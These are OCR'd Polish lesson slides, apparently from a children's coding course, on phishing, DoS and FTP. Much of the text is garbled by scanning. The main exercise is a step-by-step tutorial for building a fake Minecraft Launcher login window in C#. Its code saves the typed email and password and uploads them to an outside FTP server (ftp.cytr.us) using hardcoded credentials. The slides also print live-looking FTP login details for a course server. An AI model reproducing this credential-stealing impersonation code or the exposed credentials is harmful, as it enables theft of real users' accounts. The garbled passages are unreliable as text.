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Phishing

ztowi¢ ,na wedke” naiwnq ,ptotke”

Opracowanie: Michat Suchon



Przypomnienile

1.  Na czym polega atak denial of service?
2. Czym rdzni sie DoS od DDoS'a?

3. Co to social engineering?
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1.  Na czym polega atak denial of service?
odmowa ustugi; atak oparty na nadmiarowym wysytaniu informacji
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ustugi lub jej catkowitego zatrzymania
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2. Czym rdzni sie DoS od DDoS'a?
DoS -> atak z jednego hosta
DDoS -> atak wielu (czasem tysiecy) komputeréw ,,zombie”

3. Co to social engineering?



Przypomnienile

1.  Na czym polega atak denial of service?
odmowa ustugi; atak oparty na nadmiarowym wysytaniu informacji
(danych/pakietéw), tak aby spowodowaé ograniczenie w dziataniu danej
ustugi lub jej catkowitego zatrzymania

2. Czym rdzni sie DoS od DDoS'a?
DoS -> atak z jednego hosta
DDoS -> atak wielu (czasem tysiecy) komputeréw ,,zombie”

3. Co to social engineering?
Inzynieria spoteczna, socjotechnika; zestaw metod wytudzania danych
poufnych, wykorzystujgc ludzkie stabosci
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Czym jest phishing?

When you accidentally
clicks on a Phishing email

Cyber Criminal:




[ [
Phishing
password harvesting fishing (towienie haset)

. . : ) Phishing? |
metoda oszustwa, polegajgca na podszywaniu si¢ pod inng osobe bqgdz Just don’t use email.

instytucje (np. bank [ wnuczek - kto$ zaufany) w celu wytudzenia
pewnych informaciji, np. danych wrazliwych (logowanie do kont,
szczego6ty karty kredytowej) lub naktonienia do okres§lonych czynnosci
— wpisania loginu i hasta na zespoofowanej stronie. W tym ataku
wykorzystuje sie techniki inzynierii spoteczne;.




-mailow . e
klasyczny spear phishing
£0 peomé:i?zfﬁ:]sléyévr\%ejdvglgtc;lgrr]r;osc| dzio’rotr)mio wymierzone wtkonkre_tnq
.ot £ > 0SO organizacje, starannie
|m|tlJLQC.eJ jokqs dobrze znanqg przygotgwon W dojjgce sie bardzo
aplikacje | strone | ustuge z rzetelne
RICE |O gl elligeielnze Np. fatszywa wiadomoS¢€ od
clgfensalne prze%ione o z prosbq o wystanie

smishing vishing S
e ) voice phishing — z wykorzystaniem szczegdblny typ ataku spear
phishing poprzez SMS, w ktorym rozmowy telefonicznej celem wytudzenia phishingowego, ktérego celem sg
atakujgcy wysyta wiadomosci SMS danych osobowych lub finansowych. wazne osoby decyzyjne, np.
z podstawionym linkiem, dyrektorzy generalni firm (grube
zazwyczaj z pilng informacjq, ktéra ryby) = Majgcy mozliwosée
sktania uzytkownika do nagtego Np. pracownik bankowy przekonujgcy do przekazania dostepu do
dziatania, pod wptywem impulsu, wykonania akcji na koncie bankowym, krytlzlcznych |n.forr?10q|
bez gtebszej refleksji wysytajgc oszczednosci na ,specjainie orporacyjnyc

przygotowane konto”



RAPORT ROCZNY 2024

Zz dziatalnosci CERT Polska

Krajobraz bezpieczenstwa
polskiego internetu

Wartosciowa lektura kazdego,
komu (cyber)bezpieczenstwo
lezy na sercu!

https://cert.pl/uploads/docs/Raport CP_2024.pdf

CERT. F'k;_c


https://cert.pl/uploads/docs/Raport_CP_2024.pdf

FTP...?




polecenia i komunikaty
polaczenie streujace ( port 21 )

przesyt plikdow ( port 20 )

F T P Klient Serwer FTP

klient — serwer

jeden komputer udostepnia i umozliwia udostepnienie plikéw a drugi -
je odbiera bgdz dodaje kolejne, usuwa itd..



Tryby dostepu do serwerdw FTP

o




Tryby dostepu do serweréw FTP

o

ANONIMOWY

Tryb chroniony — kazda korzystajqca
osoba musi posiadac¢ swoje konto
(login i hasto): posiada okre§lone

uprawnienia, np. dodawania i
usuwanie plikéw, odczyt, ale bez
mozliwosci ich przenoszenia



Tryby dostepu do serweréw FTP

o

ANONIMOWY

Tryb chroniony — kazda korzystajgca  Tryb niechroniony — nie wymagad
osoba musi posiadaé swoje konto  uwierzytelniania (logowania),
(login i hasto): posiada okreSlone  zazwyczaj pozwala wytgcznie na

uprawnienia, np. dodawaniai  odczyt danych juz dodanych na

usuwanie plikéw, odczyt, alebez  serwerze (bez mozliwosci zarzqgdzania
mozliwosci ich przenoszenia  nimi)




Jak uzyskac dostep do serwera FTP?

il -h

APLIKACJE

WEBAPLIKACJA EKSPLORATOR DESKTOPOWE
PRZEGLADARKOWA PLIKOW W
WINDOWSIE

| | TotalCommander
nie polecam! FileZilla



WYZWANIE NR 1

1. Zainstaluj program FileZilla z
2. Korzystajgc z ponizszych danych, sprobuj sie zalogowac
3. Otworz plik pt. ,README.txt"”


https://filezilla-project.org/download.php?type=client

WYZWANIE NR 1 - krok 1

File Edit View Transfer Ser Bookmarks Help Mew version available!
Ho BT TR OO L IFAaes

1a.cnline Username: gigant_hacker Password: eessssssss Port: Cuickconnect | =

OKIENKO, W KTORYM MOZEMY NA STALE ZATWIERDZENIE PODANYCH DANYCHI
DODAC DANE POtACZENIE Z SERWEREM PROBA POLACZENIA Z SERWEREM

michcia.online
gigant_hacker
Giganci2025
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™\ The server's certificate is unknown. Please carefully examine the certificate to make sure the server can be trusted.

Compare the displayed fingerprint with the certificate fingerprint you have received from your server
administrator or server hosting provider.
Certificate in chain: () ver certificate)

Certificate

Overview

:28:0a:08:bb:bd:e2:58:75:72:f1:55:2b:T1:
c1 3 7a: af:

CZASAMI POJAWIA SIE TAKI KOMUNIKAT!

Alternative name: vps-dd42d2541.vps.ovh.net
Issuer
mon name: R11
Organization: Let's Encrypt

Public key algorithm: RSA with 2048 bits
Signature algorithm: RSA-SHA236

Session details

Host: michcia.onlin ot match certificat
Protocol: L Cipher: AES-236-(
Key exchange: ECDHE-SECP3 AE-SHAZ256 Mac:  AEAD

Trust the server certificate and carry on connecting?

Always trust this certificate in future sessions,

Trust this certificate on the listed alternative hostnames.

Cancel




E gigant_hacker@michcia.online - FileZilla

File Edit View Transfer Server Bookmarks Help Mew version available!
TTECHRO KL (FAass

Hostt  michcia.online Username: gigant_hacker Password: eessesses

Quickconnect | *

Status: Resolving address of michcia.online

Status: Connecting te 57.128.228.13:21..,

Status: Connection established, waiting for welcome message...
Status: Initializing TLS...

Status: TLS connection established.

Status: Legged in

Status: Retrieving directory listing...

Status: Directory listing of "/" successful

Local siter | sers\Michcia\ ~ | Remote site: | /

Filename

Cisco Packet Tracer 8.0
Application Data
Apple
AppData
ansel
93D Objects
wscode
NirtualBox

. Filename
templateengine

ssh
OtWebEngineProcess
Origin

=] README. £t

.openjfx
.mcreator
.gradle

.git

dotnet
.dbus-keyrings
.canfig

«cache
.android

38 files and 62 directeries, Totz |1 file. Total size: 118 bytes

Filesize Filetype

Last modified

Permissions

Owner/Group

Server/Local file

Direction Remote file

Size Priority

Status

Queued files | Failed transfers Successful transfers

WYZWANIE NR 1
- krok 3




WYZWANIE NR 2

Sprobujmy stworzyé¢ fatszywe okno logowania w
ktore bedzie wysytato dane logowania na nasz serwer ftp!
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Pobierz grafiki z dysku:
, Zapisz gdzies
na dysku (najlepiej w miejscu, gdzie
stworzysz projekt programu)

Nastepnie, uruchom Visual Studio > Nowy
Projekt >
)-

Dla czytelnosci, projekt nazwij

(4
1/ 4

koniecznie w C#!!!

=

-

4

i

<H>

«
|

(.

4

¥

Clear all
- All platforms - All project types -

Console App
A project for creating a command-line application that can run on .NET on Windows, Linux and mac05s

C# Linux macOs Windows Console
Class Library
A project for creating a class library that targets NET or JMET Standard

c# Android Linux macOs Windows Library

M5Test Test Project
A project that contains M5Test unit tests that can run on .MET on Windows, Linux and MacO35,

c# Linux macOs Windows Test

Windows Forms App

A project template for creating a NET Windows Forms (WinForms) App.
c# Windows Desktop

Windows Forms App (MNET Framework)

A project for creating an application with a Windows Forms (WinForms) user interface
c# Windows Desktop

WPF Application

A project for creating a MET WPF Application
c# Windows Desktop

WPF Class Library

A project for creating a class library that targets a NET WPF Application
c# Windows Desktop Library

WPF Custom Control Library

A project for creating a custom control library for MET WPF Applications
c# Windows Desktop Library

WPF User Control Library

A project for creating a user control library for MET WPF Applications
c# Windows Desktop Library

WPF App (MET Framework)

Windows Presentation Foundation client application

c# HAML Windows Desktop

Console App (NET Framework)


https://cutt.ly/UFODo0W

WYZWANIE NR 2 - krok 1

Pobierz grafiki z dysku:
, Zapisz gdzies
na dysku (najlepiej w miejscu, gdzie
stworzysz projekt programu)

Nastepnie, uruchom Visual Studio > Nowy
Projekt >
)-

Dla czytelnosci, projekt nazwij

( 4
n

koniecznie w C#1!!!

Configure your new project

Windows Forms App (.NET Framework) ¢  Windows  Desktop

Project narme

Minecraft

Location

ChUsersi\Michcia\OneDrive - Politechnika Wroclawska\PRACA-GIGANCINMOIE KURSY ROCZMEVCE -

Solution
Create new solution

Solution name (5)

¢| Place solution and project in the same directory

Framework

MET Framework 4.7.2

Project will be created in "C:A\Users\Michcia\OneDrive - Politechnika Wroclawska\PRACA-GIGANCI
WMOJE KURSY ROCZMENCPP_13-15\HACKING_CYBERSECK35.Phishing Gotowy- projekttMinecrafth"

A This directory is not empty.


https://cutt.ly/UFODo0W
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W oknie rozwijamy
Forml.cs i klikamy w ten plik. Pojawi nam
sig puste okienko. Klikamy na nie
prawym przyciskiem i wybieramy opcje

W prawym dolnym rogu pojawi si¢
okienko .

A — ustawiamy tto na okno logowania Minecraft
B — opcja Stretch dopasowuje nam grafike do
szerokoSci okienka
C — Ustawiamy tekst wysSwietlany na gérze okna

NASTEPNIE SCHODZIMY W TYM OKNIE NIZEJ

Properties

Form1 System.Windows.Forms.Form

=2 | F P
Bl Accessibility
AccessibleDescription
AccessibleMName
AccessibleRole
B Appearance
BackColor A
E Backgroundlmage
Horzontalkesolution
PhysicalDirnension
PixelFormat
RawFormat
Size

Tag
WertiralRecnlitinm B

Backgroundlmagelayout
Cursor

Font
ForeColor
FormBorderStyle
RightTolLeft
RiTthnI eftl avonrt c
Text
UseWaitCursor

E Behavior
AllowDrop
AutoValidate
ContextMenuStrip
DoubleBuffered

Backgroundimage

The background image used for the control.

Default

Il Control

# % Minecraft.Properties.Resources.minecrat_login
93, 9800904

1000; 601

Format24bppRghb

Prng

1000; 601

05 QRAR5A57

Stretch

Default

Microsoft Sans Serif; 8,25pt
ControlText

Sizable

Mo

Falze

Minecraft Launcher

False

False
EnablePreventFocusChange
(none)

False
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Properties

Form1 Systern.Windows.Forms.Form

=T W1 F B

AutoSize False
AutoSizeMode GrowOnly
Location G0
MaximumSize 0
° oo Minimumbize G0
W oknie rozwijamy e 00,00
H 1 H 1 H Size 1127; 697
Form.l.cs I kllqu.r‘y w ten.pllk. Pojqw! nqm StartPosition WindowsDefaultLocation
si¢ puste okienko. Klikamy na nie Windowstate Norma
(] (] (] (] [ E MiS-C
prawym przyciskiem i wybieramy opcje AcceptBution (none)
CancelButton (none)
° KeyPreview False
B Window Style
° ° ° ControlBox True
W prawym dolnym rogu pojawi sie HelpButton D Fakse
= H lcon = {lcon)
°k|enk° 2 IsMdiContainer False
MainMenuStrip (none)
o o 5 o - MaximizeBox True
D — ustawienie ikonki z logo gry na gorze okna MinimizeBox True
Opacity 100%
Showlcon True
ShowlnTaskbar True
SizeGrip5tyle Auto
TopMost False

Transparencykey
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txtLogin System. Windows.Forms. TextBox

o= I F P
B Accessibility
AccessibleDescription

AccessibleMame email

AccessibleRole Default
B Appearance
B::kCDIDr A 19:19%: 19
EiDrCIEr:ﬂ:_‘rfIE Mone
Cursor |IBeam
E Font B Segoe Ul 1.2pt; style=Bold
ForeColor I White
. Lines String[] Array
pole z adresem email, pole z hastem, RightToLef No
przycisk logowaniaq, ktore wysle dane na S =
serwer TextAlign Left
UseWaitCursor False
B Behavior
Pola typu zdobedziemy z e =
TOOIbOXG. AllowDrop False
CharacterCasing Mermal
ContextMenuStrip (none)
NG gérze ZGk*qde E?Z:;ZTectinn I:E:
Wyszukujemy | ustawiamy jak imelode NoControl
. . . MaxLength 32767
obok (Klikamy prawym i Properties) Mutiine —

PasswordChar
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A - ustawienie tta pola na ciemnoszary jak
oryginalnie (rgb(19,19,19))

B — ustawienie czcionki wpisywanego
tekstu: czcionka Segoe Ul, rozmiar 12,
pogrubienie (Bold) na true // wszystkie
opcje po rozwinieciu wtasciwosci Font
C — ustawienie nazwy dla pola (bardzo

wazne!!)
[EEICES= C
(Mame) tutLogin
l5:”'n'.'fl!LEI-‘(-IE[[I-EJE[ T[LIE
Locked Falze
Modifiers Private

B Focus

TEXTBOX ,,EMAIL"”

txtLogin System. Windows.Forms. TextBox
o= |20 ¥I|F B
B Accessibility

AccessibleDescription

AccessibleMame email
AcceszibleRole Default

B Appearance A
BackColor 19:19: 19
UDFDET}I}TIE Monmne
Cursor B |Beam

E Font Segoe Ul; 1.2pt; style=Bold
ForeColor I White

Lines String[] Array
RightToleft Mo
ScrollBars Mone
Text
TextAlign Left
UseWaitCursor False

B Behavior
AcceptsReturn False
AcceptsTab False
AllowDrop False
CharacterCasing Mermal
ContextMenuStrip (none)
Enabled True
HideSelection True
Imefode MoControl
MaxLength 32767
Multiline True

PasswordChar
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TEXTBOX ,,PASSWORD"

tutPassword System.Windows.Forms. TextBox
o= |20 %3 |F B
B Accessibility

AccessibleDescription

A - ustawienie tta pola na ciemnoszary jak
oryginalnie (rgb(19,19,19))

B — ustawienie czcionki wpisywanego
tekstu: czcionka Segoe Ul, rozmiar 12,
pogrubienie (Bold) na true // wszystkie
opcje po rozwinieciu wtasciwosci Font
C — ustawienie nazwy dla pola (bardzo

wazne!!)
M Nacian C
(Mame) txtPassword
Locked False
Modifiers Private

F Foens

AccessibleMame haslo
AccessibleRole Default

E Appearance
BackColor 19:19: 19
BOTOErsTyIe rone
Cursor IBeam

[]1 Font Segoe Ul; 12pt; style=Bold
ForeColor Il White

Lines String[] Array
RightToLeft Mo
ScrollBars Mone
Text
Textalign Left
UseWaitCursor Falze

B Behawvior
AcceptsReturn False
AcceptsTab False
AllowDrop False
CharacterCasing Mormal
ContextMenuStrip (none)
Enabled True
HideSelection True
ImeMode MoControl
MaxLength 32767
Multiline True

PasswordChar



WYZWAN I E N R 2 - k r'O k 4 btnLogin System.Windows.Forms.Button

= [AF »

z nqrzedZiq dOdqjemy 4 : i::::ii:::;];scriptiun
wtasciwosci (properties) ustawiamy jak — sccesiorenome bentogin
AccessibleRole Default
Ob0k B Appearance A
i . H BackColor Transparent
A - Back color: tfo przycisku na | pense— B e oo s R st
przezroczysty, Backgroundimage: obrazek eskgoundmagelayou Stretch
. . . Cursor Default
Z przyciskiem jako tto M Fixtnnearance B
— 1 1 n"o__ FlatStyle Flat
B typ prZyCISku Joko ”f[Ot bez [+ Font Microsott Sans Senf; 8,43pt
dodatkowych efektow 3d ForeCoor Traparent
C: ustawiamy na puste, aby przycisk nie imageAign MiddleCenter
miat zadnego tekstu e fond
D — nazwa przycisku (wazne!!) magel st = one)
Text
R D) TextAlign MiddleCenter
I:Nar‘rz:e] btnLogin TextlmageRelation Owverlay
GenerateMermnber True UzeMnemonic True
Locked False UseVisualStyleBackColor False
Modifiers Private UseWaitCursor False
= Focus E Behavior
AllowDrop False

AutoEllipsis False
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Przechodzimy do pliku Forml.cs i dodajemy tam kod obstugi kliknigcia
przycisku

private void btnLogin Click(object sender, EventArgs e)
{

string login = txtLogin.Text;

string password = txtPassword.Text;

File.AppendAllText(@"logs.txt", $"Login: {login} Hasto:
{password}\n");

WebClient client = new WebClient();
client.Credentials = new
NetworkCredential("gigantl"”, "Q=%k#ababmgOLTv");
client.UploadFile("ftp://ftp.cytr.us/(TWOJ FOLDER)/logs.txt",
WebRequestMethods.Ftp.UploadFile, "logs.txt");
MessageBox.Show("Gratulacje uzytkowniku! Twoje dane zostaty
wykradzione, hahaha!");

}
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Na gérze musimy zaimportowaé biblioteki do obstugi wejécia/wyjscia
pol z oraz do potgczenia przez ftp!

~IdiL - 'I.,E,.I"ul'llrll.'_'Lrn:IIL.rLI-rrrll
1 v using System;
' System.Collections.Generic;
System.ComponentModel;
. system.Data,
5 System.Drawing;
System.Ling;
System.Text;
System.Threading.Tasks;
I using System.wWindows.Forms;
using System.IO;
I using System.Net;
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Na koncu musimy podpigc akcje
kliknigcia to przycisku! Wracamy do

. W oknie z
wtasciwosciami klikamy ikonke
pioruna na gorze i przypisujemy

akcje do przycisku przy kliknieciu:

NA KONCU KLIKAMY F5,
URUCHAMIAMY PROGRAM,
WPISUJEMY DANE | KLIKAMY NA
PRZYCISK ZALOGUJ SIE. JESLI
WSZYSTKO POJDZIE POMYSLNIE, NA
SERWERZE FTP POJWI SIE PLIK logs.txt
Z DANYMI | WYSWIETLI DOSC PRZYKRY
KOMUNIKAT...

Properties
btnlogin Systermn.Windows.Forms.Button

=R A

E Action
Click
s i e g
MouseClick

B Appearance
Paint

= Behawvior
ChangeUlCues
ControlAdded
ControlRemoved
HelpRequested
QueryAccessibilityHelp
StyleChanged
SystemColorsChanged

Bl Data

btnLogin_Click



Podsumowanie

1. Czym jest Phishing?

2. CotoFTP?



Podsumowanie

1. Czym jest Phishing?
Metoda ataku, polegajgca na podstepnym wytudzeniu danych, wykorzystujgc
sposoby inzynierii spotecznej

2. CotoFTP?



Podsumowanie

1. Czym jest Phishing?
Metoda ataku, polegajgca na podstepnym wytudzeniu danych, wykorzystujgc
sposoby inzynierii spotecznej

2. CotoFTP?
File Transfer Protocol; protokoét, pozwalajgcy na zdalne przesytanie plikéw na
serwer. Domysinie dziata na porcie 21 — do przesytu plikow; 20 - dla polecen



Polecam!

ZROD'O:
https://www.youtube.com/watch?v=3U2tmtmngkc



https://www.youtube.com/watch?v=3U2tmtmngkc

Polecam!

ZRODLO:
https://www.youtube.com/watch?v=1X3mv5s-UAE



https://www.youtube.com/watch?v=IX3mv5s-UAE

Polecam!
NOOb [HIP
&

STER| PRO

IIIIIIIIIIIIIIIIIII

.....
R e S LR
- .

ZRODLO:
https://www.youtube.com/watch?v=dZwbb42pdtg



https://www.youtube.com/watch?v=dZwbb42pdtg
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